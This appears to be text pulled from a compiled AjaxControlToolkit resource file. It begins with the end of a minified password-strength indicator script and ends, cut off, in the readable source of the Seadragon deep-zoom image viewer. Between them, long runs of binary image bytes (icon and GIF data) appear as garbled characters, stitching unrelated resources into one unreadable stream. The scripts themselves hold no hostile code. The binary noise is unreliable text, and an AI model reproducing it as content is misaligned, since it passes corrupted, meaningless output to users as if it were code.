]","g"),e=a._getRegexCount(r,f);if(e>=a._minimumSymbolCharacters)c+=m;if(e<a._minimumSymbolCharacters){if(b!="")b+=g;b+=String.format(AjaxControlToolkit.Resources.PasswordStrength_RemainingSymbols,a._minimumSymbolCharacters-e)}}else c+=d*m;a.set_HelpText(b);return c},_getRegexCount:function(d,a){var c=0;if(a!=null&&a!=""){var b=a.match(d);if(b!=null)c=b.length}return c},_extractStyles:function(){var a=this;if(a._strengthStyles!=null&&a._strengthStyles!="")a._styleArray=a._strengthStyles.split(a._txtseparator)},_createTextDescriptions:function(){var a=this;a._levelArray=a._txtStrengthDescriptions.split(a._txtseparator);a._extractStyles();a._styleArray.length>0&&a._styleArray.length!=a._levelArray.length&&Sys.Debug.assert(false,AjaxControlToolkit.Resources.PasswordStrength_InvalidStrengthDescriptionStyles);(a._levelArray.length<a._MIN_TXT_LEVEL_COUNT||a._levelArray>a._MAX_TXT_LEVEL_COUNT)&&Sys.Debug.assert(false,AjaxControlToolkit.Resources.PasswordStrength_InvalidStrengthDescriptions)},_onKeyPress:function(){this._showStrength()},_onBlur:function(){var a=this;if(a._strengthIndicator==AjaxControlToolkit.StrengthIndicatorTypes.BarIndicator){$common.setVisible(a._barOuterDiv,false);$common.setVisible(a._barInnerDiv,false)}else $common.setVisible(a._displayDiv,false)},_onHelpClick:function(){if(this._helpText=="")alert(AjaxControlToolkit.Resources.PasswordStrength_Satisfied);else alert(this._helpText)},dispose:function(){var b=false,a=this,c=a.get_element();if(a._keyPressHandler){$removeHandler(c,"keyup",a._keyPressHandler);a._keyPressHandler=null}if(a._blurHandler){$removeHandler(c,"blur",a._blurHandler);a._blurHandler=null}if(a._helpClickHandler){$removeHandler(a._helpDiv,"click",a._helpClickHandler);a._helpClickHandler=null}a._displayDiv&&$common.setVisible(a._displayDiv,b);a._barOuterDiv&&$common.setVisible(a._barOuterDiv,b);a._barInnerDiv&&$common.setVisible(a._barInnerDiv,b);a._helpHandleCssClass!=""&&a._helpDiv&&$common.setVisible(a._helpDiv,b);AjaxControlToolkit.PasswordStrengthExtenderBehavior.callBaseMethod(a,"dispose")},get_PreferredPasswordLength:function(){return this._preferredPasswordLength},set_PreferredPasswordLength:function(a){if(this._preferredPasswordLength!=a){this._preferredPasswordLength=a;this.raisePropertyChanged("PreferredPasswordLength")}},get_MinimumNumericCharacters:function(){return this._minimumNumericCharacters},set_MinimumNumericCharacters:function(a){if(this._minimumNumericCharacters!=a){this._minimumNumericCharacters=a;this.raisePropertyChanged("MinimumNumericCharacters")}},get_MinimumSymbolCharacters:function(){return this._minimumSymbolCharacters},set_MinimumSymbolCharacters:function(a){if(this._minimumSymbolCharacters!=a){this._minimumSymbolCharacters=a;this.raisePropertyChanged("MinimumSymbolCharacters")}},get_RequiresUpperAndLowerCaseCharacters:function(){return this._requiresUpperAndLowerCaseCharacters},set_RequiresUpperAndLowerCaseCharacters:function(a){if(this._requiresUpperAndLowerCaseCharacters!=a){this._requiresUpperAndLowerCaseCharacters=a;this.raisePropertyChanged("RequiresUpperAndLowerCaseCharacters")}},get_TextCssClass:function(){return this._txtPwdStrengthCssClass},set_TextCssClass:function(a){if(this._txtPwdStrengthCssClass!=a){this._txtPwdStrengthCssClass=a;this.raisePropertyChanged("TextCssClass")}},get_BarBorderCssClass:function(){return this._barBorderCssClass},set_BarBorderCssClass:function(a){if(this._barBorderCssClass!=a){this._barBorderCssClass=a;this.raisePropertyChanged("BarBorderCssClass")}},get_BarIndicatorCssClass:function(){return this._barIndicatorCssClass},set_BarIndicatorCssClass:function(a){if(this._barIndicatorCssClass!=a){this._barIndicatorCssClass=a;this.raisePropertyChanged("BarIndicatorCssClass")}},get_DisplayPosition:function(){return this._displayPosition},set_DisplayPosition:function(a){if(this._displayPosition!=a){this._displayPosition=a;this.raisePropertyChanged("DisplayPosition")}},get_PrefixText:function(){return this._prefixText},set_PrefixText:function(a){if(this._prefixText!=a){this._prefixText=a;this.raisePropertyChanged("PrefixText")}},get_StrengthIndicatorType:function(){return this._strengthIndicator},set_StrengthIndicatorType:function(a){if(this._strengthIndicator!=a){this._strengthIndicator=a;this.raisePropertyChanged("StrengthIndicatorType")}},get_TextStrengthDescriptions:function(){return this._txtStrengthDescriptions},set_TextStrengthDescriptions:function(a){if(a!=null&&a!=""&&a!=this._txtStrengthDescriptions){this._txtStrengthDescriptions=a;this.raisePropertyChanged("TextStrengthDescriptions")}},get_StrengthStyles:function(){return this._strengthStyles},set_StrengthStyles:function(a){if(a!=null&&a!=""&&a!=this._strengthStyles){this._strengthStyles=a;this.raisePropertyChanged("StrengthStyles")}},get_TextStrengthDescriptionStyles:function(){return this.get_StrengthStyles()},set_TextStrengthDescriptionStyles:function(a){this.set_StrengthStyles(a)},get_HelpHandleCssClass:function(){return this._helpHandleCssClass},set_HelpHandleCssClass:function(a){if(this._helpHandleCssClass!=a){this._helpHandleCssClass=a;this.raisePropertyChanged("HelpHandleCssClass")}},get_HelpHandlePosition:function(){return this._helpHandlePosition},set_HelpHandlePosition:function(a){if(this._helpHandlePosition!=a){this._helpHandlePosition=a;this.raisePropertyChanged("HelpHandlePosition")}},get_HelpText:function(){return this._helpText},get_CalculationWeightings:function(){return this._calcWeightings},set_CalculationWeightings:function(a){if(this._calcWeightings!=a){this._calcWeightings=a;this.raisePropertyChanged("CalculationWeightings")}},set_HelpText:function(c){var a=this;if(a._helpStatusLabelID){var b=$get(a._helpStatusLabelID);if(b)if(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element()).get_Value().length>0)b.innerHTML=c;else b.innerHTML=""}if(a._helpText!=c){a._helpText=c;a.raisePropertyChanged("HelpText")}},get_MinimumLowerCaseCharacters:function(){return this._minLowerCaseChars},set_MinimumLowerCaseCharacters:function(a){this._minLowerCaseChars=a},get_MinimumUpperCaseCharacters:function(){return this._minUpperCaseChars},set_MinimumUpperCaseCharacters:function(a){this._minUpperCaseChars=a},get_HelpStatusLabelID:function(){return this._helpStatusLabelID},set_HelpStatusLabelID:function(a){if(this._helpStatusLabelID!=a){this._helpStatusLabelID=a;this.raisePropertyChanged("HelpStatusLabelID")}}};AjaxControlToolkit.PasswordStrengthExtenderBehavior.registerClass("AjaxControlToolkit.PasswordStrengthExtenderBehavior",AjaxControlToolkit.BehaviorBase);AjaxControlToolkit.StrengthIndicatorTypes=function(){throw Error.invalidOperation();};AjaxControlToolkit.DisplayPosition=function(){throw Error.invalidOperation();};AjaxControlToolkit.StrengthIndicatorTypes.prototype={Text:0,BarIndicator:1};AjaxControlToolkit.DisplayPosition.prototype={RightSide:0,AboveRight:1,AboveLeft:2,LeftSide:3,BelowRight:4,BelowLeft:5};AjaxControlToolkit.DisplayPosition.registerEnum("AjaxControlToolkit.DisplayPosition");AjaxControlToolkit.StrengthIndicatorTypes.registerEnum("AjaxControlToolkit.StrengthIndicatorTypes");6   �& h�( @ �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ�ġ���ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ�ġ���ġ���ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ�ġ����ǰ��ġ���ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ�ġ����ǰ��ǰ��ǰ��ġ���ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ���ǰ��ǰ��ǰ��ǰ��ǰ���ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ���������������������������������������������������������������������������������������������������������������������������������������������������(  �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������ǰ��ǰ��ǰ�ġ���ǰ��ǰ������������������������������������ǰ��ǰ�ġ���ġ���ǰ������������������������������������ǰ��ǰ���ǰ���ǰ������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ�����������������������������������������������������������������������������������\GIF89a�"�������������������������������������������������������������!�",y@�pH^�H��l6���T*�X�W�g��
?�pX�)��z�f�p��b	�핊P���B �!�B���B

		��P�
BBB`as��yE�"A;�GIF89a�������������������������������333���!�,i��I��"�ͻ�`���6�䉂���B`�m2k����5�
�Ca�X��М�	uB�ج֙�&cݮA��d��6���@7L�uga��N�����Nw�7��;�GIF89a���������������������������������������������������������������������������������������������������������������������������������������)^��������!�D,��D������������ #&'������$),.������(-2������245@����5��.8C����BA�26
::;��;�т9<=??��=<��
>��@>�0

A������ݢ@a�	�D��AC��Y�P���
ԥACA6L:�dmqBŧ�*P�(QBP�^Ę1�d�,�d�E�4ظ�#7lԠQ`�1��A�i�e	,;��i�zAG�y�ʝ7/��Cx�;�GIF89a
�			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������,
����L�cĄ���kW.\�hɊj��^�nɋ'ocǎ�8~�7�SZ�^Ńo%˖,]��D��,U����ɳ�E���Juʧѝ��yu��Q���qe��S�y��a�i�q侂V,Yrlؼi�(Ѳ�o�*+8wnA0_�uIU*T�J�
�'O�6i�d�ΝG;+�if (!window.SIGNAL)
    window.SIGNAL = "----seadragon----";

Type.registerNamespace('AjaxControlToolkit.Seadragon');
Type.registerNamespace('Seadragon');

AjaxControlToolkit.Seadragon.ControlAnchor = function() {
    throw Error.invalidOperation();
}
AjaxControlToolkit.Seadragon.ControlAnchor.prototype = {
    NONE: 0,
    TOP_LEFT: 1,
    TOP_RIGHT: 2,
    BOTTOM_RIGHT: 3,
    BOTTOM_LEFT: 4
}
AjaxControlToolkit.Seadragon.ControlAnchor.registerEnum("AjaxControlToolkit.Seadragon.ControlAnchor", false);

Seadragon.ControlAnchor = AjaxControlToolkit.Seadragon.ControlAnchor;

AjaxControlToolkit.Seadragon.OverlayPlacement = function() {
    throw Error.invalidOperation();
}
AjaxControlToolkit.Seadragon.OverlayPlacement.prototype = {
    CENTER: 0,
    TOP_LEFT: 1,
    TOP: 2,
    TOP_RIGHT: 3,
    RIGHT: 4,
    BOTTOM_RIGHT: 5,
    BOTTOM: 6,
    BOTTOM_LEFT: 7,
    LEFT: 8
}
AjaxControlToolkit.Seadragon.OverlayPlacement.registerEnum("AjaxControlToolkit.Seadragon.OverlayPlacement", false);
Seadragon.OverlayPlacement = AjaxControlToolkit.Seadragon.OverlayPlacement;

AjaxControlToolkit.Seadragon.NavControl = function(viewer) {
    this._group = null;
    this._zooming = false;    // whether we should be continuously zooming
    this._zoomFactor = null;  // how much we should be continuously zooming by
    this._lastZoomTime = null;
    this._viewer = viewer;
    this.config = this._viewer.config;

    this.elmt = null;
    this.initialize();
}
AjaxControlToolkit.Seadragon.NavControl.prototype = {
    initialize: function() {
        var beginZoomingInHandler = Function.createDelegate(this, this._beginZoomingIn);
        var endZoomingHandler = Function.createDelegate(this, this._endZooming);
        var doSingleZoomInHandler = Function.createDelegate(this, this._doSingleZoomIn);
        var beginZoomingOutHandler = Function.createDelegate(this, this._beginZoomingOut);
        var doSingleZoomOutHandler = Function.createDelegate(this, this._doSingleZoomOut);
        var onHomeHandler = Function.createDelegate(this, this._onHome);
        var onFullPageHandler = Function.createDelegate(this, this._onFullPage);

        var navImages = this._viewer.config.navImages;
        var zoomIn = $create(AjaxControlToolkit.Seadragon.Button,
                    { config: this._viewer.config, tooltip: Seadragon.Strings.getString("Tooltips.ZoomIn"), srcRest: this._resolveUrl(navImages.zoomIn.REST), srcGroup: this._resolveUrl(navImages.zoomIn.GROUP), srcHover: this._resolveUrl(navImages.zoomIn.HOVER), srcDown: this._resolveUrl(navImages.zoomIn.DOWN) },
                    { onPress: beginZoomingInHandler, onRelease: endZoomingHandler, onClick: doSingleZoomInHandler, onEnter: beginZoomingInHandler, onExit: endZoomingHandler }, null, null);
        var zoomOut = $create(AjaxControlToolkit.Seadragon.Button,
                    { config: this._viewer.config, tooltip: Seadragon.Strings.getString("Tooltips.ZoomOut"), srcRest: this._resolveUrl(navImages.zoomOut.REST), srcGroup: this._resolveUrl(navImages.zoomOut.GROUP), srcHover: this._resolveUrl(navImages.zoomOut.HOVER), srcDown: this._resolveUrl(navImages.zoomOut.DOWN) },
                    { onPress: beginZoomingOutHandler, onRelease: endZoomingHandler, onClick: doSingleZoomOutHandler, onEnter: beginZoomingOutHandler, onExit: endZoomingHandler }, null, null);
        var goHome = $create(AjaxControlToolkit.Seadragon.Button,
                    { config: this._viewer.config, tooltip: Seadragon.Strings.getString("Tooltips.Home"), srcRest: this._resolveUrl(navImages.home.REST), srcGroup: this._resolveUrl(navImages.home.GROUP), srcHover: this._resolveUrl(navImages.home.HOVER), srcDown: this._resolveUrl(navImages.home.DOWN) },
                    { onRelease: onHomeHandler }, null, null);
        var fullPage = $create(AjaxControlToolkit.Seadragon.Button,
                    { config: this._viewer.config, tooltip: Seadragon.Strings.getString("Tooltips.FullPage"), srcRest: this._resolveUrl(navImages.fullpage.REST), srcGroup: this._resolveUrl(navImages.fullpage.GROUP), srcHover: this._resolveUrl(navImages.fullpage.HOVER), srcDown: this._resolveUrl(navImages.fullpage.DOWN) },
                    { onRelease: onFullPageHandler }, null, null);
        this._group = $create(AjaxControlToolkit.Seadragon.ButtonGroup,
                    { config: this._viewer.config, buttons: [zoomIn, zoomOut, goHome, fullPage] }, null, null, null);

        this.elmt = this._group.get_element();
        this.elmt[SIGNAL] = true;   // hack to get our controls to fade
        this._viewer.add_open(Function.createDelegate(this, this._lightUp));
    },
    dispose: function() {
    },
    _resolveUrl: function(url) {
        return String.format("{1}", this._viewer.get_prefixUrl(), url);
    },
    _beginZoomingIn: function() {
        this._lastZoomTime = new Date().getTime();
        this._zoomFactor = this.config.zoomPerSecond;
        if (this._zoomFactor <= 0) {
            return;
        }
        this._zooming = true;
        this._scheduleZoom();
    },
    _beginZoomingOut: function() {
        this._lastZoomTime = new Date().getTime();
        this._zoomFactor = this.config.zoomPerSecond;
        if (this._zoomFactor <= 0) {
            return;
        }
        this._zoomFactor = 1.0 / this._zoomFactor;
        this._zooming = true;
        this._scheduleZoom();
    },

    _endZooming: function() {
        this._zooming = false;
    },
    _scheduleZoom: function() {
        window.setTimeout(Function.createDelegate(this, this._doZoom), 10);
    },
    _doZoom: function() {
        if (this._zooming && this._viewer.viewport) {
            var currentTime = new Date().getTime();
            var deltaTime = currentTime - this._lastZoomTime;
            var adjustedFactor = Math.pow(this._zoomFactor, deltaTime / 1000);

            this._viewer.viewport.zoomBy(adjustedFactor);
            this._viewer.viewport.applyConstraints();
            this._lastZoomTime = currentTime;
            this._scheduleZoom();
        }
    },
    _doSingleZoomIn: function() {
        if (this._viewer.viewport) {
            this._zooming = false;
            this._viewer.viewport.zoomBy(this.config.zoomPerClick / 1.0);
            this._viewer.viewport.applyConstraints();
        }
    },
    _doSingleZoomOut: function() {
        if (this._viewer.viewport) {
            this._zooming = false;
            this._viewer.viewport.zoomBy(1.0 / this.config.zoomPerClick);
            this._viewer.viewport.applyConstraints();
        }
    },
    _lightUp: function() {
        this._group.emulateEnter();
        this._group.emulateExit();
    },
    _onHome: function() {
        if (this._viewer.viewport) {
            this._viewer.viewport.goHome();
        }
    },
    _onFullPage: function() {
        this._viewer.setFullPage(!this._viewer.isFullPage());
        this._group.emulateExit();  // correct for no mouseout event on change

        if (this._viewer.viewport) {
            this._viewer.viewport.applyConstraints();
        }
    }
}
AjaxControlToolkit.Seadragon.NavControl.registerClass('AjaxControlToolkit.Seadragon.NavControl', null, Sys.IDisposable);

AjaxControlToolkit.Seadragon.Control = function(elmt, anchor, container) {
    // Properties
    this.elmt = elmt;
    this.anchor = anchor;
    this.container = container;
    this.wrapper = Seadragon.Utils.makeNeutralElement("span");
    this.initialize();
}
AjaxControlToolkit.Seadragon.Control.prototype = {
    initialize: function() {
        this.wrapper = Seadragon.Utils.makeNeutralElement("span");
        // Constructor
        this.wrapper.style.display = "inline-block";
        this.wrapper.appendChild(this.elmt);
        if (this.anchor == Seadragon.ControlAnchor.NONE) {
            this.wrapper.style.width = this.wrapper.style.height = "100%";    // IE6 fix
        }
        this.addToAnchor();
    },
    addToAnchor: function() {
        if (this.anchor == Seadragon.ControlAnchor.TOP_RIGHT || this.anchor == Seadragon.ControlAnchor.BOTTOM_RIGHT) {
            this.container.insertBefore(this.elmt, this.container.firstChild);
        } else {
            this.container.appendChild(this.elmt);
        }
    },
    destroy: function() {
        this.wrapper.removeChild(this.elmt);
        this.container.removeChild(this.wrapper);
    },
    isVisible: function() {
        // see note in setVisible() below about using "display: none"
        return this.wrapper.style.display != "none";
    },
    setVisible: function(visible) {
        // using "display: none" instead of "visibility: hidden" so that mouse
        // events are no longer blocked by this invisible control.
        this.wrapper.style.display = visible ? "inline-block" : "none";
    },
    setOpacity: function(opacity) {
        // like with setVisible() above, we really should be working with the
        // wrapper element and not the passed in element directly, so that we
        // don't conflict with the developer's own opacity settings. but this
        // doesn't work in IE always, so for our controls, use a hack for now...
        if (this.elmt[SIGNAL] && Seadragon.Utils.getBrowser() == Seadragon.Browser.IE) {
            Seadragon.Utils.setElementOpacity(this.elmt, opacity, true);
        } else {
            Seadragon.Utils.setElementOpacity(this.wrapper, opacity, true);
        }
    }
}
AjaxControlToolkit.Seadragon.Control.registerClass('AjaxControlToolkit.Seadragon.Control', null, Sys.IDisposable);

AjaxControlToolkit.Seadragon.Viewer = function(element) {
    AjaxControlToolkit.Seadragon.Viewer.initializeBase(this, [element]);
    //Fields

    this.config = new AjaxControlToolkit.Seadragon.Config();
    this._prefixUrl = null;

    this._controls = [];
    this._customControls = null;
    this._overlays = [];
    this._overlayControls = null;
    this._container = null;
    this._canvas = null;
    this._controlsTL = null;
    this._controlsTR = null;
    this._controlsBR = null;
    this._controlsBL = null;
    this._bodyWidth = null;
    this._bodyHeight = null;
    this._bodyOverflow = null;
    this._docOverflow = null;
    this._fsBoundsDelta = null;
    this._prevContainerSize = null;
    this._lastOpenStartTime = 0;
    this._lastOpenEndTime = 0;
    this._animating = false;
    this._forceRedraw = false;
    this._mouseInside = false;
    this._xmlPath = null;

    //Public fields
    this.source = null;
    this.drawer = null;
    this.viewport = null;
    this.profiler = null;

}
AjaxControlToolkit.Seadragon.Viewer.prototype = {
    initialize: function() {
        AjaxControlToolkit.Seadragon.Viewer.callBaseMethod(this, 'initialize');

        this._container = Seadragon.Utils.makeNeutralElement("div");
        this._canvas = Seadragon.Utils.makeNeutralElement("div");

        this._controlsTL = Seadragon.Utils.makeNeutralElement("div");
        this._controlsTR = Seadragon.Utils.makeNeutralElement("div");
        this._controlsBR = Seadragon.Utils.makeNeutralElement("div");
        this._controlsBL = Seadragon.Utils.makeNeutralElement("div");

        var innerTracker = new Seadragon.MouseTracker(this._canvas, this.config.clickTimeThreshold, this.config.clickDistThreshold);
        var outerTracker = new Seadragon.MouseTracker(this._container, this.config.clickTimeThreshold, this.config.clickDistThreshold);

        this._bodyWidth = document.body.style.width;
        this._bodyHeight = document.body.style.height;
        this._bodyOverflow = document.body.style.overflow;
        this._docOverflow = document.documentElement.style.overflow;

        this._fsBoundsDelta = new AjaxControlToolkit.Seadragon.Point(1, 1);

        var canvasStyle = this._canvas.style;
        var containerStyle = this._container.style;
        var controlsTLStyle = this._controlsTL.style;
        var controlsTRStyle = this._controlsTR.style;
        var controlsBRStyle = this._controlsBR.style;
        var controlsBLStyle = this._controlsBL.style;

        containerStyle.width = "100%";
        containerStyle.height = "100%";
        containerStyle.position = "relative";
        containerStyle.left = "0px";
        containerStyle.top = "0px";
        containerStyle.textAlign = "left";  // needed to protect against
        // incorrect centering

        canvasStyle.width = "100%";
        canvasStyle.height = "100%";
        canvasStyle.overflow = "hidden";
        canvasStyle.position = "absolute";
        canvasStyle.top = "0px";
        canvasStyle.left = "0px";

        controlsTLStyle.position = controlsTRStyle.position =
                    controlsBRStyle.position = controlsBLStyle.position =
                    "absolute";

        controlsTLStyle.top = controlsTRStyle.top = "0px";
        controlsTLStyle.left = controlsBLStyle.left = "0px";
        controlsTRStyle.right = controlsBRStyle.right = "0px";
        controlsBLStyle.bottom = controlsBRStyle.bottom = "0px";

        // mouse tracker handler for canvas (pan and zoom)
        innerTracker.clickHandler = Function.createDelegate(this, this._onCanvasClick);
        innerTracker.dragHandler = Function.createDelegate(this, this._onCanvasDrag);
        innerTracker.releaseHandler = Function.createDelegate(this, this._onCanvasRelease);
        innerTracker.setTracking(true);     // default state

        // create default navigation control
        if (this.get_showNavigationControl()) {
            navControl = (new AjaxControlToolkit.Seadragon.NavControl(this)).elmt;
            navControl.style.marginRight = "4px";
            navControl.style.marginBottom = "4px";
            this.addControl(navControl, AjaxControlToolkit.Seadragon.ControlAnchor.BOTTOM_RIGHT);
        }
        for (var i = 0; i < this._customControls.length; i++) {
            this.addControl(this._customControls[i].id, this._customControls[i].anchor);
        }

        // mouse tracker handler for container (controls fading)
        outerTracker.enterHandler = Function.createDelegate(this, this._onContainerEnter);
        outerTracker.exitHandler = Function.createDelegate(this, this._onContainerExit);
        outerTracker.releaseHandler = Function.createDelegate(this, this._onContainerRelease);
        outerTracker.setTracking(true); // always tracking
        window.setTimeout(Function.createDelegate(this, this._beginControlsAutoHide), 1);    // initial fade out

        //append to DOM only at end
        this._container.appendChild(this._canvas);
        this._container.appendChild(this._controlsTL);
        this._container.appendChild(this._controlsTR);
        this._container.appendChild(this._controlsBR);
        this._container.appendChild(this._controlsBL);
        //this.get_element().innerHTML = "";          // clear any existing content...
        this.get_element().appendChild(this._container);

        if (this._xmlPath)
            this.openDzi(this._xmlPath);
    },
    _raiseEvent: function(eventName, eventArgs) {
        // Get handler for event.
        var handler = this.get_events().getHandler(eventName);

        if (handler) {
            if (!eventArgs) {
                eventArgs = Sys.EventArgs.Empty;
            }

            // Fire event.                          
            handler(this, eventArgs);
        }
    },
    _beginControlsAutoHide: function() {
        if (!this.config.autoHideControls) {
            return;
        }

        this._controlsShouldFade = true;
        this._controlsFadeBeginTime = new Date().getTime() + this._controlsFadeDelay;
        window.setTimeout(Function.createDelegate(this, this._scheduleControlsFade), this._controlsFadeDelay);
    },
    _scheduleControlsFade: function() {
        window.setTimeout(Function.createDelegate(this, this._updateControlsFade), 20);
    },
    _updateControlsFade: function() {
        if (this._controlsShouldFade) {
            var currentTime = new Date().getTime();
            var deltaTime = currentTime - this._controlsFadeBeginTime;
            var opacity = 1.0 - deltaTime / this._controlsFadeLength;

            opacity = Math.min(1.0, opacity);
            opacity = Math.max(0.0, opacity);

            for (var i = this._controls.length - 1; i >= 0; i--) {
                this._controls[i].setOpacity(opacity);
            }

            if (opacity > 0) {
                this._scheduleControlsFade();    // fade again
            }
        }
    },
    _onCanvasClick: function(tracker, position, quick, shift) {
        if (this.viewport && quick) {    // ignore clicks where mouse moved			
            var zoomPerClick = this.config.zoomPerClick;
            var factor = shift ? 1.0 / zoomPerClick : zoomPerClick;
            this.viewport.zoomBy(factor, this.viewport.pointFromPixel(position, true));
            this.viewport.applyConstraints();
        }
    },
    _onCanvasDrag: function(tracker, position, delta, shift) {
        if (this.viewport) {
            // negate since dragging is opposite of panning.
            // analogy: in adobe pdf, dragging vs using scrollbars.
            this.viewport.panBy(this.viewport.deltaPointsFromPixels(delta.negate()));
        }
    },
    _onCanvasRelease: function(tracker, position, insideElmtPress, insideElmtRelease) {
        if (insideElmtPress && this.viewport) {
            this.viewport.applyConstraints();
        }
    },
    _onContainerExit: function(tracker, position, buttonDownElmt, buttonDownAny) {
        // fade controls out over time, only if the mouse isn't down from
        // within the container (e.g. panning, or using a control)
        if (!buttonDownElmt) {
            this._mouseInside = false;
            if (!this._animating) {
                this._beginControlsAutoHide();
            }
        }
    },
    _onContainerRelease: function(tracker, position, insideElmtPress, insideElmtRelease) {
        // the mouse may have exited the container and we ignored it if the
        // mouse was down from within the container. now when the mouse is
        // released, we should fade the controls out now.
        if (!insideElmtRelease) {
            this._mouseInside = false;
            if (!this._animating) {
                this._beginControlsAutoHide();
            }
        }
    },
    _getControlIndex: function(elmt) {
        for (var i = this._controls.length - 1; i >= 0; i--) {
            if (this._controls[i].elmt == elmt) {
                return i;
            }
        }

        return -1;
    },
    _abortControlsAutoHide: function() {
        this._controlsShouldFade = false;
        for (var i = this._controls.length - 1; i >= 0; i--) {
            this._controls[i].setOpacity(1.0);
        }
    },
    _onContainerEnter: function(tracker, position, buttonDownElmt, buttonDownAny) {
        this._mouseInside = true;
        this._abortControlsAutoHide();
    },
    _updateOnce: function() {
        if (!this.source) {
            return;
        }

        this.profiler.beginUpdate();

        var containerSize = Seadragon.Utils.getElementSize(this._container);

        if (!containerSize.equals(this._prevContainerSize)) {
            this.viewport.resize(containerSize, true); // maintain image position
            this._prevContainerSize = containerSize;
            this._raiseEvent("resize", this);
        }

        var animated = this.viewport.update();

        if (!this._animating && animated) {
            // we weren't animating, and now we did ==> animation start
            this._raiseEvent("animationstart", self);
            this._abortControlsAutoHide();
        }

        if (animated) {
            // viewport moved
            this.drawer.update();
            this._raiseEvent("animation", self);
        } else if (this._forceRedraw || this.drawer.needsUpdate()) {
            // need to load or blend images, etc.
            this.drawer.update();
            this._forceRedraw = false;
        } else {
            // no changes, so preload images, etc.
            this.drawer.idle();
        }

        if (this._animating && !animated) {
            // we were animating, and now we're not anymore ==> animation finish
            this._raiseEvent("animationfinish", this);

            // if the mouse has left the container, begin fading controls
            if (!this._mouseInside) {
                this._beginControlsAutoHide();
            }
        }

        this._animating = animated;

        this.profiler.endUpdate();
    },
    _onClose: function() {
        // TODO need destroy() methods to prevent leaks? check for null if so.

        // nullify fields and properties
        this.source = null;
        this.viewport = null;
        this.drawer = null;
        this.profiler = null;

        // clear all tiles and any message
        this._canvas.innerHTML = "";
    },
    _beforeOpen: function() {
        if (this.source) {
            this._onClose();
        }

        this._lastOpenStartTime = new Date().getTime();   // to ignore earlier opens

        // show loading message after a delay if it still hasn't loaded
        window.setTimeout(Function.createDelegate(this, function() {
            if (this._lastOpenStartTime > this._lastOpenEndTime) {
                this._setMessage(Seadragon.Strings.getString("Messages.Loading"));
            }
        }), 2000);

        return this._lastOpenStartTime;
    },
    _setMessage: function(message) {
        var textNode = document.createTextNode(message);

        this._canvas.innerHTML = "";
        this._canvas.appendChild(Seadragon.Utils.makeCenteredNode(textNode));

        var textStyle = textNode.parentNode.style;

        // explicit styles for error message
        textStyle.color = "white";
        textStyle.fontFamily = "verdana";
        textStyle.fontSize = "13px";
        textStyle.fontSizeAdjust = "none";
        textStyle.fontStyle = "normal";
        textStyle.fontStretch = "normal";
        textStyle.fontVariant = "normal";
        textStyle.fontWeight = "normal";
        textStyle.lineHeight = "1em";
        textStyle.textAlign = "center";
        textStyle.textDecoration = "none";
    },
    _onOpen: function(time, _source, error) {
        this._lastOpenEndTime = new Date().getTime();

        if (time < this._lastOpenStartTime) {
            Seadragon.Debug.log("Ignoring out-of-date open.");
            this._raiseEvent("ignore");
            return;
        } else if (!_source) {
            this._setMessage(error);
            this._raiseEvent("error");
            return;
        }

        // clear any previous message
        this._canvas.innerHTML = "";
        this._prevContainerSize = Seadragon.Utils.getElementSize(this._container);

        // assign fields
        this.source = _source;
        this.viewport = new AjaxControlToolkit.Seadragon.Viewport(this._prevContainerSize, this.source.dimensions, this.config);
        this.drawer = new AjaxControlToolkit.Seadragon.Drawer(this.source, this.viewport, this._canvas);
        this.profiler = new AjaxControlToolkit.Seadragon.Profiler();

        // begin updating
        this._animating = false;
        this._forceRedraw = true;
        this._scheduleUpdate(this._updateMulti);

        for (var i = 0; i < this._overlayControls.length; i++) {
            var overlay = this._overlayControls[i];
            if (overlay.point != null) {
                this.drawer.addOverlay(overlay.id, new AjaxControlToolkit.Seadragon.Point(overlay.point.X, overlay.point.Y), AjaxControlToolkit.Seadragon.OverlayPlacement.TOP_LEFT);
            }
            else {
                this.drawer.addOverlay(overlay.id, new AjaxControlToolkit.Seadragon.Rect(overlay.rect.Point.X, overlay.rect.Point.Y, overlay.rect.Width, overlay.rect.Height), overlay.placement);
            }
        }
        this._raiseEvent("open");
    },
    _scheduleUpdate: function(updateFunc, prevUpdateTime) {
        // if we're animating, update as fast as possible to stay smooth
        if (this._animating) {
